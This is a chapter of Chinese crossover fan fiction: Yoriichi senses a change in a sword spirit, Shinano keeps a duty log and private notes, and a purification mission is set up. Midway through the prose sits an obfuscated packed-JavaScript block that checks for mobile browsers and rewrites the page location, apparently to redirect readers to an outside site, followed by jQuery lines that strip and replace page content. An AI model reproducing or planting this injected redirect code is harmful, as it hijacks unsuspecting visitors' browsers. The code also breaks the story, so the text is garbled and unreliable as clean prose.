第154章信浓的队长日志(上)
傍晚,道场后面的小径。
严胜和缘一前一后走着,中间隔着四五步的距离。下午的训练刚结束,两人都没说话,只有脚步声踩在碎石路上,沙沙地响。
路过医疗室后窗时,缘一忽然停住脚步。
严胜回头看他。
缘一没说话,只是侧过头,看向医疗室的方向。他暗红色的眼睛微微眯起,像在辨认某种很微弱的东西。
严胜等了几秒。他知道缘一现在说话需要时间组织语言,以前孩童期的懵懂早已褪去,他用成长期特有的、对感受与表达之间落差的审慎斟酌。
“山姥切长义的灵基状态,”缘一开口,声音平稳,措辞比过去清晰得多,“出现了一个新的稳定频率。”
严胜看着他。
“以前,他体内的异常波动像持续的噪音。”缘一继续,视线仍投向医疗室的方向,“现在,噪音没有消失,但旁边多了一个……固定的节拍点。很微弱,但我能感受到。”
他停顿片刻,似乎在寻找更精确的描述。
“就像有人,”他说,“在混乱的房间里,放了一盏不会熄灭的小灯。”
严胜顺着他的视线看过去。医疗室的窗户关着,窗帘拉着,什么也看不见。
“你能分辨这种变化?”
“能。”缘一点头,“灵视感知的是灵力与情绪的流动形态。新增的频率虽然微弱,但它本身就在改变整体的场。”
他说完,又沉默了几秒,才补充道:“是好的改变。”
严胜看了他一会儿,转回身,继续往前走。缘一跟上来,两人之间的距离缩短到了三步。
走到道场门口时,严胜忽然开口。
“你教短刀的时候,”他说,“是不是也用这种……看东西的方法?”
缘一愣了一下,然后摇头。
“教学的时候,”他说,“用眼睛看动作,用耳朵听呼吸。不用灵视。”
“为什么。”
缘一沉默的时间比刚才更长些。他的目光落在道场门前的石阶上,像在检视自己思考的过程。
“灵视会看见情绪的颜色,看见灵力流动的痕迹,看见他们没说出来但藏在身体里的东西。”他的声音依然平稳,但语速放慢了,“看见了,就没办法只专注于剑术本身。我会分心,会想去处理那些……与教学无关的波动。”
他抬起眼,看向严胜的背影。
“而且,”他继续说,“有些东西,需要他们自己说出来。代替他们看见,等于剥夺了……他们开口的机会。”
“还算……”严胜说,“有点长进。”
他拉开道场的门,走了进去。缘一站在门外,看着兄长的背影消失在门后的阴影里。
远处,本丸的厨房飘出晚饭的香气。短刀们嬉闹的声音从庭院那头传来,夹杂着鹤丸国永不知又在策划什么的、元气十足的大笑。
医疗室后窗的窗帘动了一下。
山姥切国广从里面走出来,怀里小心地捧着那个小盒子。他走到廊下,找了个有光的地方坐下,把盒子打开。
那缕金银交织的丝,在最后的余晖里,静静地发着光。他看了很久,然后伸出手指,很轻、很轻地,碰了一下。
丝缠绕上他的指尖,温润,微凉。
他握住手指,把那股微凉攥进掌心。然后抬起头,看向山姥切长义离开的方向。走廊空空荡荡,早已没有人影。
但国广还是看着,看了好一会儿,才低下头,把盒子仔细盖好,收进怀里,贴着胸口放好。
他站起身,裹紧被单,朝着食堂的方向走去。
午后两点,短刀队部的窗户开着,外头道场传来竹刀撞击的闷响。信浓藤四郎坐在靠窗的桌前,梅子色的短发在阳光里有点晃眼。他面前摊开一个硬壳本子,封面上用不太工整的字写着“短刀队执勤日志-第四本”。
笔尖悬在纸面上,墨水在下头洇开一个小小的圆点。
厚藤四郎从门口探进半个身子:“信浓哥,下午的巡逻,”
“知道,”信浓头也没抬,“后藤带队,你辅助。路线按昨天划定的西侧结界线,避开灵力乱流区。带好锚点符,三小时轮班。”
厚眨眨眼:“我还没说呢。”
“你上个月同一时间说过类似的话。”信浓终于抬起头,嘴角扯出一点很淡的笑,“当时你说‘信浓哥,下午的巡逻,能不能让我带一次’,然后迷路了四十分钟,害得药研哥带搜索队去找你。”
厚耳朵有点红:“那次是意外!现在我不会了!”
“知道你不会。”信浓把笔放下,“所以才让你去。路线图在左边抽屉,灵力监测仪记得校准。”
厚咧嘴笑起来,白牙在光里一闪:“交给我!”
他跑出去的时候差点撞上正要进来的五虎退。五虎退怀里的小老虎嗷了一声,厚连忙道歉,人已经消失在走廊拐角。
信浓摇摇头,重新拿起笔。
他在本子上写:
执勤记录·本丸历七月十九日·晴
午后巡查:后藤藤四郎队,成员:厚、秋田、五虎退。
区域:本丸西侧结界线至第三灵力标记点。
异常记录:结界边缘,标记点B7,发现轻微灵力淤积,浓度标准值1.3倍。已引导疏散,无扩散趋势。
处理人:后藤藤四郎。
备注:后藤君判断准确,操作规范。建议下次巡查时携带便携净化符以备万一。
写完这段,他停顿了一下。笔尖在“操作规范”四个字上轻轻点了点,然后翻到下一页。
这一页没有表格,字也写得松散些。
个人笔记:
乱今天训练结束后问我:“信浓,你现在还会不会……想被特别对待?”
我想了想,说:“和大家一起吃团子的时候,每个人都分到一样的份量,坐在一起,说今天发生的事,那种时候,我会觉得特别开心。”
乱说:“我不是问开不开心,是问‘特别’。”
我说:“那就是我最觉得特别的时候。”
他好像没听懂,又好像懂了。过了一会儿他说:“你变了。”
我说:“嗯,变好了,是吧。”
写到这里,门外传来脚步声。信浓合上本子,抬头看见严胜从走廊那头走过来,灰紫色的内番服袖子卷到手肘,头发束得整齐,应该是刚结束战术课。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301858|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“严胜先生。”信浓站起身。
严胜停住脚步,目光扫过他桌上的日志本:“在记录?”
“执勤记录和……一些别的。”
严胜点了下头,没多问,继续往前走。走了两步,他忽然回过头。
“下午短刀队有协同训练,”他说,“时间调整到三时半。场地说在第二道场,但你最好确认一下,长谷部昨天提过要检修那里的照明结界。”
信浓愣了一下:“是,我这就去确认。”
严胜已经转身走了。信浓盯着那个背影看了几秒,重新坐下,翻开本子,在空白处飞快写下一行小字:
补充:严胜先生刚才说话时,嘴角有很淡的笑意。虽然只有一瞬间。
厚君有一次跟我说:“严胜先生的笑容像雪化开之后,天边第一道晴光。”
比喻真美。
他写完,盯着那行字看了会儿,然后翻到本子最后一页。
那一页画着一棵樱花树。树干歪歪扭扭,花瓣是用水彩点上去的淡粉色,已经有点褪色了。树下用铅笔画了一群火柴小人,手拉着手,围成一个圈。小人没有脸,但姿态各异,有的站得笔直,有的微微弯腰,有的抬着一只手,像是在打招呼。
信浓用手指摸了摸那些铅笔痕迹。
墨迹早就干了,指尖触上去的时候,能感觉到纸张底下,那些线条微微凸起的触感。
---
记忆碎片任务的通知是晚饭后送达的。
药研藤四郎直接来了短刀部屋,手里拿着灵力探测报告。“本能寺旧址的时间裂缝出现异常波动,”他开门见山,“检测到大量离散记忆碎片,推测是当年战死者的临终记忆残留。如果不回收净化,可能凝结成怨念集合体,影响周边历史稳定。”
信浓接过报告扫了一眼。数据很复杂,但他一眼就看到了关键参数,碎片能量波动与“蚀灵之种”有百分之十七的相似频谱特征。
“净罪之翼的痕迹?”他问。
“可能性很高。”药研推了推眼镜,“也可能是他们早期实验的副产品。不管怎样,需要清理。”
“我去。”信浓说。
药研看着他:“理由。”
“我对污染敏感。”信浓放下报告,“而且我净化过,我知道被那种东西缠上是什么感觉,也知道该怎么找到它们的核心。”
药研沉默了几秒,点头:“队伍配置由你定。任务时间明晨卯时三刻。审神者已经批准。”
“好。”
那天晚上信浓没怎么睡。他躺在床上,盯着天花板,手指无意识地在被子上画着符文的轨迹。像在脑子里把整个过程演练一遍,检查每一个可能出错的环节。
卯时二刻,队伍在本丸传送点集合。
信浓选了药研、大俱利伽罗、以及他自己。三人轻装,只带了基础净化工具和紧急撤退符。
严胜站在传送点旁的廊下,像是晨练刚结束。他看见三人,点了下头:“早去早回。”
信浓一怔,严胜通常不会特意来说这种话。
“是,”他应道,“我们会尽快。”
严胜没再多说,转身离开了。晨光里他的背影很快消失在走廊转角。